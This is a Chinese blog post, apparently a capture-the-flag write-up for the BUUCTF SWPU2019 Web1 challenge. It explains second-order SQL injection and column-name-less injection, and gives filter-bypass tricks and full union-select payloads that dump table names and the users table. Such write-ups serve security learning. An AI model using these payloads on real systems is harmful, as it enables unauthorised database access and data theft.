BUUCTF[SWPU2019]Web1 1

考点:

  1:无列名注入

  2:二次注入

进入靶场:

先试试弱口令登录admin,没用,

看到下面有注册入口,点进去注册一个账号然后登录

有两个入口,一个申请发布广告,一个注销登录。

尝试申请发布广告。

尝试申请广告。并查看广告内容

查看广告详情

盲猜注入点,id=1  (select * from XXX where XXX)

尝试注入:1' order by 1#

经过测试,发现过滤了or,#,--+,和空格

ByPass

  空格:用/**/代替

  注释被过滤:1.最后用单引号闭合

        2.若用group by,则用,'闭合

  or被过滤:order by 、information_schema都不能用,

       order by可用group by代替,information_schema可用mysql.innodb_table_stats代替。

payload:

  一。测数据库的字段数:1,用group by :  1'/**/group/**/by/**/1,'

             最后试到  1'/**/group/**/by/**/23,'时失败。

           2,用 union/**/select/**/1,2,3,4,5,6,...'进行测试,最后测到22时出现数值,

  证明一共有22个字段,通过第二种得到注入在第2,3,个字段,

  二。爆库名  

  

  得到库名:

  

  三。爆表名 

    1,用二次注入进行注入

    

    2,用联合注入进行注入

       1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1" '

    得到表名:

  四。爆值

      1.

 

      2.

  1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

    得到flag

 

posted @ 2022-01-06 23:07  LoYoHo00  阅读(198)  评论(0编辑  收藏  举报
levels of contents